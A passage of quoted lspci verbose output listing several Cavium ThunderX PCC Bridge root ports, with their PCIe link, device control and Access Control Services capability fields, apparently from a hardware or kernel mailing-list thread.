> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:13.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=14, subordinate=14, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:14.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=15, subordinate=15, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:15.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=16, subordinate=16, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:16.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=17, subordinate=17, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:17.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=18, subordinate=18, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:18.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=19, subordinate=19, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:19.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=1a, subordinate=1a, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1a.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=1b, subordinate=1b, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1b.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=1c, subordinate=1c, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:1c.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=1d, subordinate=1d, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
